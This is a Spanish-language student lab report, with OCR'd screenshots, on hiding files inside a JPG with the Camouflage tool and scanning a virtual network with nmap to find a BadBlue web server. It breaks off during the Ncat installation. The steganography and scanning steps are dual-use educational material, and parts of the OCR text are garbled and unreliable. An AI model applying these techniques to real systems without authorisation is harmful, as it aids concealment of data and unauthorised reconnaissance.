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INTRODUCCION

El presente informe expone el desarrollo del laboratorio compuesto por dos capitulos,
realizados en entornos virtuales mediante los sistemas operativos Kali Linux y Windows XP.
El proposito central de este trabajo es analizar herramientas y técnicas orientadas a la

seguridad en redes.

En el primer capitulo, se emple6 la herramienta Camouflage en el sistema Windows XP para
llevar a cabo el proceso de ocultamiento de archivos dentro de un portador de imagen, con el
fin de determinar su capacidad y limites respecto al tipo, nimero y tamafo de los archivos
camuflados. El segundo capitulo se enfoco en la explotacion del servicio BadBlue a través
del puerto HTTP (80), evaluando su funcionamiento y las implicaciones de seguridad
derivadas de su uso. Para este propdsito, se utilizo la utilidad Netcat (Ncat), la cual permitio

establecer sesiones remotas entre las maquinas virtuales de Kali Linux y Windows XP.

Durante el desarrollo del laboratorio, se configur6 una carpeta compartida en el equipo
anfitrion, desde la cual se transfirieron los instaladores de las herramientas utilizadas.
También, se llevaron a cabo los procedimientos de instalacion, prueba y verificacion,
documentando cada paso de manera ordenada. Estas actividades permitieron comprender de
forma practica la interaccion entre sistemas operativos, los riesgos asociados al manejo de
informacion oculta y la importancia de aplicar medidas preventivas en entornos de red,

fortaleciendo asi los conocimientos en seguridad informatica.



PLANTEAMIENTO DEL PROBLEMA

Se identifican dos retos principales que requieren verificacion mediante el desarrollo del
laboratorio: por un lado, determinar hasta qué punto la herramienta Camouflage permite
ocultar diferentes tipos y cantidades de archivos dentro de un portador; por otro lado,
comprobar si es posible establecer comunicacioén desde Kali Linux a Windows XP a través

del servicio web BadBlue que opera en el puerto HTTP (80).



OBJETIVOS

General: Desarrollar y documentar, paso a paso, los procedimientos realizados durante la

ejecucion del laboratorio.
Especificos:

e Realizar la configuracion e instalacion de carpetas compartidas en VirtualBox.

e Realizar la instalacion de las aplicaciones en Windows XP (BadBlue, /Adobe,
Camouflage, Edge)

e Usar Camouflage como método para camuflar archivos.

e Verificar la conectividad y acceso a BadBlue en XP.
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1 CAPITULO 1: CAMOUFLAGE

El proceso se inicid con la apertura del programa VirtualBox desde el equipo host. En la
siguiente imagen se observa la disposicion general de la ventana: en el panel lateral izquierdo
aparecen las maquinas virtuales existentes; se encuentra seleccionada la maquina virtual
Windows XP, y en la parte superior de la interfaz se visualiza la barra de comandos con las

opciones Nueva, Afiadir, Configuracion, Descartar y Mostrar/Iniciar.
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Ilustracion 1 Pestaiia Carpetas Compartidas XP

Al seleccionar la opcion Configuracidn, se carga una nueva ventana que contiene los distintos
apartados configurables para la maquina seleccionada, General, Almacenamiento, Red, entre
otros... Dentro de esta ventana se ubica la seccion Carpetas compartidas, la cual despliega
una vista donde se listan las carpetas actualmente configuradas (en este caso, no existia

ninguna adn).



En esta pestafia se muestran dos columnas: Nombre y Ruta, correspondientes a las carpetas
compartidas establecidas. En la parte lateral derecha se encuentran tres iconos funcionales:
afiadir carpeta, editar/mover y eliminar. Desde el primero de ellos se procedio6 a crear la

carpeta compartida necesaria para el laboratorio.

Para ello, se realizo clic en el icono con el + ubicado en la parte lateral derecha de la ventana.

Al hacerlo, se despliega una pequeia ventana de configuraciéon que permite definir los
parametros de la carpeta a compartir. En esta se especifica la ruta del directorio en el equipo
anfitrion, el nombre de la carpeta, el punto de montaje dentro de la maquina virtual y las

opciones Solo lectura, Automontar y Hacer permanente.
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llustracion 2 Ventana afiadir carpeta

Como no se identifica de forma inmediata la ruta exacta del directorio a compartir, se

selecciono el icono . ubicado en la parte lateral izquierda de la pestafia y, posteriormente,

el icono de carpeta Otro..., el cual permitio abrir el explorador de archivos del sistema host.
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1lustracion 3 Seleccion de carpeta compartida

En esta imagen se puede observar la ventana emergente que muestra las carpetas disponibles
en el equipo host. Desde esta interfaz, se selecciono la carpeta a compartir, en este caso Doc-
MYV de la lista mostrada y, a continuacion, se realiza clic en el boton Seleccionar carpeta para

confirmar la eleccion.

Una vez realizada esta accion, el sistema retorno automaticamente a la ventana anterior de

configuracion de carpetas compartidas.
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Donde se visualizé la ruta de la carpeta seleccionada y el nombre asignado de forma
automatica por VirtualBox. En esta misma ventana se habilitaron las opciones de
configuracion adicionales. Se recomendd por parte del docente marcar las casillas
Automontar y Hacer permanente, de modo que la carpeta se monte de forma automatica

cada vez que se inicie la maquina virtual y permanezca configurada para futuros usos.

Con la configuracion finalizada, se realiz6 clic en el boton Aceptar para guardar los cambios
y regresar al menu principal de la maquina virtual, dejando lista la carpeta compartida para

ser reconocida dentro de Windows XP una vez se inicie la sesion.

En la siguiente captura se muestra que la carpeta se ha afiadido correctamente:
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El siguiente paso consistié en aceptar los cambios realizados en la configuracion de la
maquina virtual XP, asegurando que la carpeta compartida quede correctamente registrada

dentro de VirtualBox.

Una vez guardada la configuracion, se inici6 la maquina virtual Windows XP para continuar
con el proceso, para ello, tenido seleccionada la maquina se realizo clic en la opcion Iniciar
del ment superior de VirtualBox. Durante el arranque, en la barra superior de la maquina
virtual XP, se carga un nuevo menu donde se encuentran las opciones: Archivo, Maquina,
Ver Entrada, Dispositivos, Ayuda... se accede al menu Dispositivos y se selecciona la opcion
Insertar imagen de CD de los complementos de los invitados en las opciones de la nueva

vista. En la siguiente imagen se observa la seleccion:
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Llustracion 4 Insertar imagen de CD de los complementos de los invitados

Esta accion monta automaticamente en el sistema Windows XP una unidad de CD virtual que
contiene las herramientas necesarias para mejorar la compatibilidad entre el host y la maquina

virtual, especialmente, la habilitacion del acceso a carpetas compartidas.

Una vez cargada la maquina, dentro del sistema Windows XP, se accede al menu Inicio > Mi
PC, donde se pueden visualizar las diferentes unidades disponibles en el equipo. En esta
seccion, se localiza un nuevo dispositivo identificado como Virtual Guest Additions (D), el

cual aparece como una unidad de almacenamiento extraible.

Esta unidad corresponde a la imagen de CD virtual que VirtualBox inserta automaticamente
cuando se selecciona la opcion Insertar imagen de CD de los complementos de los invitados.

Observar la siguiente imagen:
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Mlustracion 5 almacenamiento extraible Virtual Guest Additions (D)

El proceso siguiente consiste en ejecutar el instalador de Guest Additions desde la unidad
Virtual Guest Additions (D) y seguir el asistente paso a paso. Al abrir el instalador, se presenta
la pantalla inicial del asistente; en este punto se selecciona Next para continuar la secuencia

de instalacion. En la siguiente secuencia de imagenes, se presenta el proceso de instalacion:
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llustracion 6 Instalacion almacenamiento extraible Virtual Guest Additions (D)

Esta es la primera vista del instalador, la cual corresponde a la pantalla inicial del asistente

de instalacion. En esta ventana se presenta la bienvenida al proceso y se muestran brevemente

las funciones que se instalaran en el sistema. Se procede al siguiente paso haciendo clic en el

botéon Next, ubicado en la parte inferior de la ventana, y conduce a la siguiente etapa del

asistente.
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Hlustracion 7 Instalacion de componentes

Esta es la segunda ventana del asistente de instalacion, en la cual se presentan los
componentes que seran instalados en el sistema. El instalador permite seleccionar o
desmarcar las funciones adicionales que se desean incluir, en este caso, se dejaron las
opciones predeterminadas. Una vez verificado que las casillas necesarias permanecian
marcadas, se procedid a continuar con el proceso haciendo clic en el botén Install, ubicado
en la parte inferior de la ventana. Con esta accion, el instalador comenzo a copiar los archivos

y a configurar los componentes seleccionados dentro del sistema operativo Windows XP.
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llustracion 8 Finalizacion de instalacion almacenamiento extraible Virtual Guest Additions (D)

En esta ventana se observo el progreso de la instalacion, representado mediante una barra de
avance que indica el porcentaje completado del proceso. Aqui, el sistema copia los archivos

necesarios y realiza la configuracion de los componentes seleccionados previamente.

Se esperd hasta que la barra de progreso alcanzara el 100%, momento en el cual el instalador
finaliz6 la transferencia de archivos y la integracion del programa en el sistema Windows XP.
Una vez completado este paso, el asistente avanzo automaticamente hacia la siguiente

ventana, indicando que la instalacion se habia realizado con éxito.
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wau want ko reboot now?

(®) Reboot now

(1 want to manually rebook later

= Back Cancel

¥irtualBox Guest Additions

++ Inicio P MirC

Llustracion 9 Confirmacion de instalacion

Una vez finalizada la transferencia de archivos y la configuracion de los servicios, el asistente
mostro la pantalla de completado. En esta etapa, se marcé la opcion de reinicio y finalizar
con Finish. El reinicio de Windows XP asegura que los controladores y servicios de Guest

Additions queden correctamente cargados en el siguiente inicio del sistema.
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llustracion 10 Visualizacion de carpeta compartida

Tras el reinicio, se verifico que el acceso a carpetas compartidas estuviera disponible, para
ello se accede al ment Inicio, Mi PC, y como se observa en la imagen la carpeta compartida
Doc-MV estd disponible, lo que confirma que la instalacion se llevd a cabo de forma

satisfactoria.

En el equipo host, dentro de la carpeta previamente configurada como compartida, se
agregaron los archivos necesarios para la practica, tales como instaladores y documentos

requeridos durante el desarrollo del laboratorio.
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Ilustracion 11 Archivos a instalar XP

Una vez copiados los archivos en dicha carpeta, se procedi6 a verificar su visualizacion en
Windows XP. Para ello, dentro de XP se accedid a Inicio, Mi PC, donde se ubicé la unidad

de red correspondiente a la carpeta compartida creada anteriormente.

Al hacer clic sobre esta unidad, en esta ventana se mostro el contenido sincronizado desde
el host, permitiendo comprobar que el intercambio de archivos entre ambos sistemas se

encontraba habilitado.

Los elementos visibles en la carpeta compartida correspondian a los instaladores de las
herramientas utilizadas en el laboratorio: BadBlue Personal Edition, Camouflage, Adobe

Reader 8, Microsoft Edge, VLC Media Player.
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Los archivos se copiaron al escritorio de XP y posteriormente se procedid con su instalacion,

la siguiente secuencia de imagenes muestra el proceso de instalacion de cada uno de ellos:

Clase 2 Oct 2025

Abrir archivo - Advertencia de seguridad

No te puede comprobar el fabricante. (Es1s seguio de que

Tarcas de archiy

desea ejecutar este software?

q Camblar nombl Nombre: badblas-pe-2.72a.6xe

archivo Fatecants. Fabiicante desconocido
A Mover oste ar Too: Apkcacdn
) Copior este or De: Z:\Clase 2 Oct 2025
) Pubicor osto of
£-) Envise egte &
st [_Eioous | |_Concle _J

K Eminer exte o

Este aechevo no bene ninguna fema digtal v8ida que compruebe su
fatacante. SdbeiocuawMedebslM:mbt;:n
corfia 2 Cdao pundo dacide quk 3 :

e 00 SAs )

llustracion 12 Instalacion BadBlue

Al ejecutar el archivo instalador de BadBlue, se cargd esta ventana de advertencia de
seguridad del sistema operativo, en la cual se solicita confirmacidon para continuar con la
instalacion. El mensaje indica si el usuario estd seguro de ejecutar el archivo, ya que proviene
de una fuente externa. Luego, se seleccion6 la opcidon Ejecutar para autorizar el proceso y el

asistente de BadBlue comenz6 a copiar los archivos necesarios y a configurar los
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componentes del servicio web en Windows XP. El procedimiento continuo hasta que se

completo la instalacion.
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condia L0 DUSTO i b 10ftweaie Gabo aencads
So@ DoV en Vil
-
L) Ms documentos E
) Dotumertos compartidos
W MPC
_ Mis shios da red v m
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llustracion 13 Instalacion de Camouflage

Se repiti6 el mismo proceso de instalacion: se ejecuto el archivo del programa, el sistema
mostrd una advertencia de seguridad, y se procedi6 a autorizar la ejecucion seleccionando la

opcion Ejecutar para continuar con la instalacion.
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Copiar eske ar De: Z:\Clase 2 Oct 2025

@ Publicar este o

Q Erviar este ar [ Ejecutar ] [ Cancelar J
electrdnico

¥ Eliminar este 5

Loz archivos procedentes de Internet pueden ser Otiles, pero este
@ tipo de archiva puede dafiar potencialmente su equipo. Sdlo

Otros sitios gjecute zoftware de los fabricantes en loz que confia. ACual ez el

riesgo?

S Doc-MV en "vH
[E:\ Mis documentos
[ Documentos campartidos
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llustracion 14 Instalacion de Microsoft Edge

Se repiti6 el mismo proceso de instalacion: se ejecuto el archivo del programa, el sistema
mostrd una advertencia de seguridad, y se procedi6 a autorizar la ejecucion seleccionando la

opcion Ejecutar para continuar con la instalacion.
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Ilustracion 15 Instalacion de VLC

Se repiti6 el mismo proceso de instalacion: se ejecuto el archivo del programa, el sistema
mostrd una advertencia de seguridad, y se procedi6 a autorizar la ejecucion seleccionando la

opcion Ejecutar para continuar con la instalacion.
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llustracion 16 Instalacion de Camouflage

Para la instalacion de Camouflage, como se observa en la imagen, fue necesario
descomprimir el archivo instalador utilizando la opcién Unzip. Una vez extraidos los
archivos, se ejecuto el instalador principal y se siguieron los pasos del asistente, avanzando

con las opciones predeterminadas hasta que la instalacion finaliz6 correctamente.
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Ilustracion 17 Escritorio XP

Una vez finalizada la instalacion de los programas, se pudo observar en el escritorio de
Windows XP los accesos directos correspondientes a cada una de las aplicaciones instaladas.
Esto permitié verificar que la instalacion se completd correctamente y que todos los

programas quedaron disponibles para su uso dentro del entorno virtual.

El siguiente paso consistid0 en el uso de la herramienta Camouflage. Para ello, se
compartieron tres archivos desde la carpeta compartida del equipo anfitrion hacia la maquina

virtual con Windows XP.
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= Doc-MY en "vBo:

Hlustracion 18 Archivos compartidos

Los archivos correspondian a una imagen (.jpg), un documento PDF (.pdf) y un archivo de

Word (.docx).

Una vez transferidos, los archivos fueron copiados al escritorio de XP para facilitar su

manipulacion durante la practica, tal como se muestra en las imagenes.

'4 Inicio



La imagen fue utilizada como archivo portador para realizar el proceso de camuflaje. Antes
de iniciar la incrustacion de los archivos, se procedié a verificar el peso original de esta, con
el fin de contar con un valor de referencia que permitiera comparar posteriormente el cambio
de tamafio tras el proceso de ocultamiento.

Propiedades de 6 (1)

General Resumen

tﬂ &1

Tipo de archivo: Imagen JPEG

Se abre con; &] Yisor de imagenes v [ Cambiar. .. ]

bicacion: Ci\Documents and Settings)ddministradorEscritor

Tamario; 57 KE (161,121 bytes)

Tamario en disco: 160 KB (163,540 bytes)

Creado; jueves, 0Z de octubre de 2025, 16:21:36

Madificada: jueves, 25 de septiembre de 2025, 16:29:15

Clltimo acceso: jueves, 02 de octubre de 2025, 16:21:36

Atribukos: [ sélo lectura [ ] Ocoulka Opriones avanzadas..,
[ Acepkar ] [ Cancelar

1lustracion 20 Verificacion del peso de la imagen

Dentro de la imagen seleccionada como archivo portador, se procedio a camuflar los archivos
PDF y DOCX. Para ello, se seleccionaron ambos archivos, y posteriormente se hizo clic

derecho, desplegando el ment contextual del sistema.
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llustracion 21 Camuflaje de Archivos

Entre las opciones disponibles, se eligi6 Camouflage, lo que inici6 una secuencia de pasos
guiados que permiten incorporar los archivos seleccionados dentro de la imagen, proceso que

se detalla a continuacion.
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%2 Camouflage Q@|

These files will be hidden within your camouflaged file. Settings

Name Size | Attributes

ATALIA ESPINOSA MENA BIDGRS
PLAN DE TRABAJD.pdf

Click here to get the latest version Back Nest > ] Close I

'l,' Inicio 4 Camouflage

llustracion 22 Archivos seleccionados a camuflar

Esta ventana pertenece al programa Camouflage y aparece de forma automatica después de
seleccionar la opcion Camouflage. En esta interfaz se muestran los archivos previamente
seleccionados que seran camuflados dentro del archivo portador, permitiendo verificar que
la seleccion sea correcta antes de continuar con el proceso, el proceso continuo al presionar

el boton Next.

En las siguientes dos iméagenes, se muestra el archivo que seleccionado para camuflar los dos

archivos:
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2 Camouflage

Your camouflaged files will be made to look and act like the following file.

Camouflage Using ||

Click here to get the latest version < Back Next > | Close I

T4 Camouflage

[lustracion 23 Seleccion de archivo de camuflaje

En este paso, el asistente mostro el campo Camouflage Using, desde el cual se debia

seleccionar el archivo portador que contendria los documentos a camuflar. El sistema

permitio buscar dicho archivo mediante el icono que cuenta con los tres puntos.
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Mis documentos
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Tipo: IAII Files _v_] Cancelar

+4 Inicio T Camouflage

Llustracion 24 Explorador de archivos

Al seleccionar la opcidn para elegir el archivo portador, se abri6 la siguiente ventana del
explorador de archivos de Windows XP. Desde esta interfaz, el programa Camouflage
permiti6 buscar y seleccionar el archivo que se utilizaria como contenedor para ocultar los

documentos.

En este caso, se accedid a la ubicacion Escritorio, donde se visualizaron los archivos

disponibles, y la imagen que fue seleccionada como archivo portador.

Una vez identificado el archivo correspondiente, se hizo clic en el boton Abrir para

confirmarlo y continuar con el proceso de camuflaje.
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# Camouflage

Your camouflaged files will be made to look and act like the following file.

Camouflage Using C:ADocuments and Settings\Administrador\E scritoriohé (1).jpg LI _]

Click here to get the latest version

jueves, 02 de octubre de 2025

llustracion 25 Ruta del archivo de camuflaje

Una vez seleccionado el archivo portador, el asistente de Camouflage mostrd nuevamente la

ventana principal con la ruta completa del archivo elegido, tal como se observa en la imagen.

En este caso, el programa indico la direccion: C:\Documents and
Settings\Administrador\Escritorio\6 (1).jpg, correspondiente a la imagen que serviria como

contenedor para los archivos ocultos.

Tras confirmar la seleccion, se hizo clic en el boton Next para avanzar al siguiente paso del

asistente.
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2 Camouflage

Choose the location and filename for the camouflage file that is about to be created.

Create This File |ents and Settings\ddministrador\E scritorio\FECHA_1_JUEVES.jpg L] _J

IV Read-only

Click here to get the latest version < Back Next > | Close I

‘s ’niCiO 4 Camouflage

llustracion 26 Cambio de Nombre al portador

En esta ventana, el programa Camouflage solicitd asignar un nuevo nombre al archivo
portador que se generaria al finalizar el proceso de camuflaje. Por defecto, el sistema propuso

la misma ruta del escritorio del usuario administrador.

En este caso, se cambi6 el nombre del archivo portador a FECHA 1 JUEVES jpg luego,

se hizo clic en el boton Next para continuar.
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Enter a security password for your camouflaged file if you wish.

Password I""""""""
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Click here to get the latest version < Back Finish I Llose |
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llustracion 27 Contraseiia Camouflage

En esta ventana, el asistente de Camouflage solicit6 establecer una contraseia de seguridad
para proteger el archivo camuflado que se iba a crear. Para ello, se ingreso la clave en el
campo Password y se repitido en el campo Verify Password con el fin de confirmar su
coincidencia. Una vez ingresados ambos valores correctamente, se hizo clic en el boton

Finish para finalizar el proceso.



Propiedades de FECHA_1_JUEVES

eneral | Resumen

t—jl | FECHA_1_JUEVES |
Tipa de archivo: Imagen JPEG
Se abre con: é] Wisor de imagenes v [ Cambiar. .. ]
Ibicacian: C:\Documents and SettingstAdministradoriEscritor f
Tamario: 520 KB (533,406 bytes)
Tamario en disco: 524 KB (536,576 bytes)
Creado: jueves, 02 de ockubre de 2025, 16:21:36
Modificado: jueves, 25 de septiembre de 2025, 16:29:15
Clltimo acceso: jueves, 02 de octubre de 2025, 17:20:48
Atributos: Sdlo lectura [ Oculko Opciones avanzadas. ..

Acepkar ] [ Cancelar

lustracion 28 Imagen Portadora

Posteriormente, se localizo la imagen generada con el nuevo nombre en la ruta establecida.
Al verificar sus propiedades, se observo un incremento en el tamafo del archivo, pasando de

157 KB (Ver imagen) en su estado original a 520 KB después del proceso de camuflaje.

Este cambio evidencio que los documentos seleccionados fueron correctamente ocultados

dentro de la imagen portadora, confirmando que la herramienta Camouflage realiz6 el

proceso de ocultamiento de manera exitosa.
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1.1 ;CUANTOS ARCHIVOS SE PUEDEN CAMUFLAR?

Para dar prueba de esto, se compartieron cierta cantidad de archivos: .exe, .pdf. .docx, .jpg.

A continuacion, se detalla los pasos:

En primer lugar, se compartieron los archivos desde el host hacia la maquina virtual Windows
XP, organizandolos dentro de carpetas especificas. Estas carpetas se utilizaron para mantener

separados los archivos por tipo y facilitar su seleccion durante las pruebas, tal como se

muestra en la siguiente imagen.

~ Xp en "VBoxSvr™ (L:)

Archivo  Edicidn  Wer  Faworitos  Herramientas  Ayuda ﬂ'

@ Abras - J l.ﬁ p Blsqueda [{ Carpetas -
Jireccitn (S8 7 V| Ir

Tareas de archivo y carpeta 2 — Exe /’ FOF
|

j Crear nueva carpeka
@ Publicar esta carpeta en Web

Screenshots

=
=3
o

Llustracion 29 Carpetas de archivos compartidos
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Ilustracion 30 Archivos .exe
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Estos fueron los archivos compartidos desde el equipo anfitrion hacia la méaquina virtual con

Windows XP, con el propdsito de realizar las pruebas de capacidad de la herramienta

Camouflage.
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PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK -co... PERFEK - co... PERFEK - co...

REQUERIMI.., REQUERIMI.., REQUERIMI... REQUERIML., REQUERIMI.., REQUERIML., REQUERIML., REQUERIML.. REQUERIML.., REQUERIMI..., REQUERIMI... REQUERIMI.., REQUERIMI... REQUERIMI...
g MipC PERFEK - c0.., PERFEK - co.., PERFEK - cov,, PERFEK - co.., PERFEK - co.., PERFEK - co... PERFEK - co... PERFEK - co.., PERFEK - ca.., PERFEK - co... PERFEK - co.., PERFEK - co.., PERFEK - co.., PERFEK -co..,

¥ REQUERIMI.., REQUERIMI.., REQUERIMI... REQUERIMI., REQUERIMI.., REQUERIML., REQUERIML., REQUERIML.. REQUERIML.., REQUERIMI.,, REQUERIMI... REQUERIMI.., REQUERIMI... REQUERIMI...
PERFEK - c0.., PERFEK - co.., PERFEK - cov,, PERFEK - co.., PERFEK - co.., PERFEK - co... PERFEK - co... PERFEK - co.., PERFEK - ca.., PERFEK - co... PERFEK - co.., PERFEK - co.., PERFEK - co.., PERFEK -co..,

REQUERIML... REQUERIMI... REQUERIMI... REQUERIMI.., REQUERIML..
PERFEK - co.., PERFEK - co.., PERFEK - co.., PERFEK -co... PERFEK.pdf
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1lustracion 31 Archivos .pdf

Como se aprecia en las imagenes, los archivos incluian instaladores ejecutables (.exe),
documentos (.docx), archivos PDF (.pdf) e iméagenes (.jpg) Estos con el fin de evaluar el
comportamiento de la herramienta al momento de ocultar diferentes tipos de archivos dentro

de un portador.



Captura de pantalla
2025-07-30 163326

Captura de pantalla
2025-10-08 154236

Captura de pantalla
2025-10-05 164345

Captura de pantalla
2025-07-30 163607

Captura de pantalla
2025-10-08 154852

Captura de pantalla
2025-10-05 164455

Captura de pantalla
2025-07-30 163843

Captura de pantalla
2025-10-08 154942

Captura de pantalla
2025-10-05 164605

Captura de pantalla
2025-07-30 164115

iZaptura de pantalla
2025-10-08 160721

i

iZaptura de pantalla
2025-10-08 170231

Captura de partalla
2025-07-30 164255

iZaptura de pantalla
2025-10-08 161851

Captura de pantalla
2025-10-08 040500

iZaptura de pantalla
2025-10-08 164207

iZaptura de pantalla
2025-10-05 170255

iZaptura de pantalla
2025-10-05 170315

Captura de partalla
2025-10-05 144313

Captura de pantalla
2025-10-08 144328

iZaptura de pantala
2025-10-08 164255

iZaptura de pantalla
2025-10-05 164318

iZaptura de pantala
2025-10-05 170550

iZaptura de pantalla
2025-10-05 173047

1lustracion 32 Archivos .jpg

En estas capturas, se observan los archivos jpg y los archivos .docx

REQUERIMIEM REQUERIMI... REQUERIML.. REQUERIML.. REQUERIML.. REQUERIML.. REQUERIMI... REQUERIML.. REQUERIML.. REQUERIML.. REQUERIML.. REQUERIML.. REQUERIML.. REQUERIMIL...
TO3 PERFEK - PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEEK - co... PERFEK - co...
copia (2).docx
REQUERIML... REQUERIMI... REQUERIML... REQUERIMI... REQUERIML... REQUERIMIL... REQUERIMI... REQUERIMIL... REQUERIMI... REQUERIMIL... REQUERIMI... REQUERIML... REQUERIMI... REQUERIMI...
PERFEEK - co... PERFEK - co... PERFEK - co... PERFEK - ca... PERFEK - co... PERFEK - ca... PERFEK - co... PERFEK - ca... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - cao...

REQUERIMI... REQUERIMI... REQUERIMI... REQUERIMI... REQUERIMI... REQUERIMIL... REQUERIMI... REQUERIMIL... REQUERIMI... REQUERIML... REQUERIMI... REQUERIML.. REQUERIMI... REQLIERIMI...
PERFEK - co... PERFEK - co... PERFEK - 0., PERFEK - co... PERFEK - co... PERFEK - co.., PERFEK - co... PERFEK - co.., PERFEK - co... PERFEK - co.., PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - cou..

REQUERIML... REQUERIMI... REQUERIML... REQUERIML... REQUERIML... REQUERIMIL... REQUERIMI... REQUERIMIL... REQUERIMI... REQUERIML... REQUERIML... REQUERIML.. REQUERIMI... REQUERIMI...
PERFEEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co...

REQUERIMI... REQUERIMI... REQUERIMI... REQUERIML... REQUERIML...
PERFEK - co... PERFEK - co... PERFEK - co... PERFEK - co... PERFEK.docx

Ilustracion 33 Archivos .docx

Una vez se dispusieron los archivos de prueba, se procedid a realizar el proceso de camuflaje

utilizando la herramienta Camouflage, los pasos siguieron tal cual los mencionados
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anteriormente. Los resultados obtenidos permitieron analizar el comportamiento del

programa frente a distintos tipos y tamafios de archivos.

Se determind que Camouflage no presenta un limite especifico en cuanto a la cantidad de
archivos que pueden ocultarse, sino que sus restricciones dependen principalmente del

tamafio total de los datos a camuflar y del tipo de archivo portador seleccionado.

S W I W A RN

Camouflage

Camauflaging files bo C:ADocumentz and SettingsiM atalia =PE zentoniohE xehCamuflage. exe. .

Camouflage

@ Unable ko Camouflage!
Bad record number (A3}

Aceptar

Click here to get the |atest version < Back I Finizh Close

[lustracion 34 Error al camuflar

Durante las pruebas, se observo que al utilizar imégenes (.jpg) como archivos portadores, el
programa permitio superar el tamafio original del archivo sin generar errores. Sin embargo,
en el caso de los archivos ejecutables (.exe) y documentos PDF (.pdf), el sistema mostrd
fallos al intentar sobrepasar la capacidad del portador, impidiendo completar el proceso de

camuflaje.

Las imagenes muestran los resultados obtenidos y los mensajes de error presentados durante

las pruebas de limite realizadas con diferentes tipos de archivos.
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Camouflage

Camouflaging files to ZAERe\nmapCa.exe. .

W Camouflage

@ Unable to Camouflage!

Bad filz name or nurmber (52)

Aceptar

Click here to get the latest version

Con base en las pruebas realizadas y en la documentacioén consultada, se determind que
Camouflage presenta un limite de capacidad variable, el cual depende del tipo de archivo
portador y del sistema de archivos utilizado. En términos generales, la herramienta puede
manejar un rango aproximado de entre 100 a 200 MB en la mayoria de los casos, aunque en

condiciones especificas y con portadores de gran tamafio puede alcanzar hasta 4 GB.



2 CAPITULO 2: BADBLUE

En este capitulo se considera necesario realizar la conexién a XP por BadBlue en el puerto

hhtp 80, para ello, a continuacion, se detallan los pasos seguidos:

Maquina Ver Entrada Dis

127.0.0.1

Archiva  Edidon  Wer Favoritos  Herramientas  Ayuda
< Favoritos | 95 2| - E|

1€ BadBlue: the file-sharing web server anyone can use

- [ [ ) - Pagnav Sequidad v Herramientas ~ @

Search using a partial word (inv matches
invoices), by file extensien (jpg, mp3, X/,
...) or with multiple words (phote album
would mateh all files that include the werds
phota and album).

Share your Excel
spreadsheets over
the web. Fast.
Easy. Guaranteed.

- |

re for a s]

BadBlue
Enterprise Edition

[i| Error en la pégina.

12 Inich s h Fens o
7g INICIO el quridsdd... | €% BadBlus

=-' Q, Buscar

llustracion 35 Pagina principal BadBlue

En la imagen se muestra la pagina principal del servicio BadBlue ejecutandose en el sistema

operativo Windows XP. Se accedi6 a su interfaz web a través del navegador Internet Explorer,

utilizando la direccion http://127.0.0.1/ correspondiente al localhost de la maquina.

El siguiente paso consistid en realizar un escaneo del segmento de red:

[sudo] contrasena para kali:

/home/kali
100.10.2.0/24

Ilustracion 36 Escaneo de red



Se inicid la maquina Kali Linux y, tras obtener privilegios de super usuario con sudo su, se
ejecutd el escaneo de la red con nmap para identificar hosts y servicios activos. Con el

comando nmap -sV 100.10.2.0/24.

Muestra el resultado el puerto de BadBlue abierto: Entre los resultados del escaneo
realizado con nmap, se identificé que la maquina con direccion IP 100.10.2.5 tenia varios
puertos TCP abiertos. Entre ellos, destaco el puerto 80, asociado al servicio HTTP donde se

ejecutaba BadBlue httpd 2.7

Nmap scan report for pool-100-10-2-5.prvdri.fios.verizon.net (100.10.2.5)
Host is up (0.00080s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

80/tcp open http BadBlue httpd 2.7

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

MAC Address: 08:00:27:C7:64:EE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

llustracion 37 Puerto BadBlue

e Xp en “VBoxSvr™ (Z:)

archivo  Edicién  Wer  Favoritos  Herramientas  Avuda

@Atras - _j ﬁ p ! Bisqueda Carpekas El-

Direccidn | S8 21,

N n < - wiskis %, MMap-6.47-setup
Tareas de archivo y carpeta — s badblue-pe-2.72a Camoulzl Mrnap installzr
- - J Insecure, org

‘_j Crear nueva carpeta
@ Publicar esta carpeta en Web

llustracion 38 Nmap.exe (Netcat)

Para la conexion por el puerto 80, en investigaciones se encontro la herramienta netcat cuyo
proposito general es abrir conexiones, la cual se us6 posteriormente, siguiendo los siguientes

pasos:



Desde la pagina oficial se descarg6 la version compatible con Windows xp, ya que en Kali
ya viene integrado: Una vez descargado en el equipo Host se compartio a través de la carpeta

compartida en XP, como se observa en la imagen anterior.

Se siguieron los pasos del instalador hasta completar la instalacion como se muestra en la

siguiente secuencia de imagenes:

© Nmap Setup

License Agreement -
Please review the license terms before installing Mmap, { iy )

Press Page Down bo see the rest of the agreement,

Yoyodyne, Inc., hereby disclaims all copyright inkerest in the program ~ Gnomovision'
(which makes passes at compilers) writken by James Hacker,

signature of Ty Coon, 1 April 19589
Ty Coon, President of Yice

This General Public License does not permit incorparating wour program inko proprigkary
programs. IF wour program is a subroutine library, wou may consider it more useful ko

permit linking proprietary applications with the library, IF this is what you want ko do, use
the GhU Library General Public License instead of this License, b’

If ywou accept the terms of the agreement, click I Agree to continue, You must accept the
agreement to install Mmap.

I Agree ] [ Cancel

Ilustracion 39 Acuerdo de licencia Ncat

Al iniciar el instalador de Nmap en la maquina Windows XP, se presentd primeramente la
ventana del acuerdo de licencia correspondiente al asistente de instalacion. En dicha ventana
se solicitd revisar los términos de la licencia y, para continuar con la instalacion, se selecciond

la opcion I Agree.



37 Nmap Setup [Z”E”El

Choosze Components -
¥

Choose which features of Mmap wou want ko install,

Check the components wou wank to install and uncheck the components wou don't want ko
install. Click Mext to conkinue,

Select components to install: Register Nmap Path Description

WinPrap 4.1.3

Mebwork Performance
Zenmap (GUI Fronker
Mcat {Modern Metcat
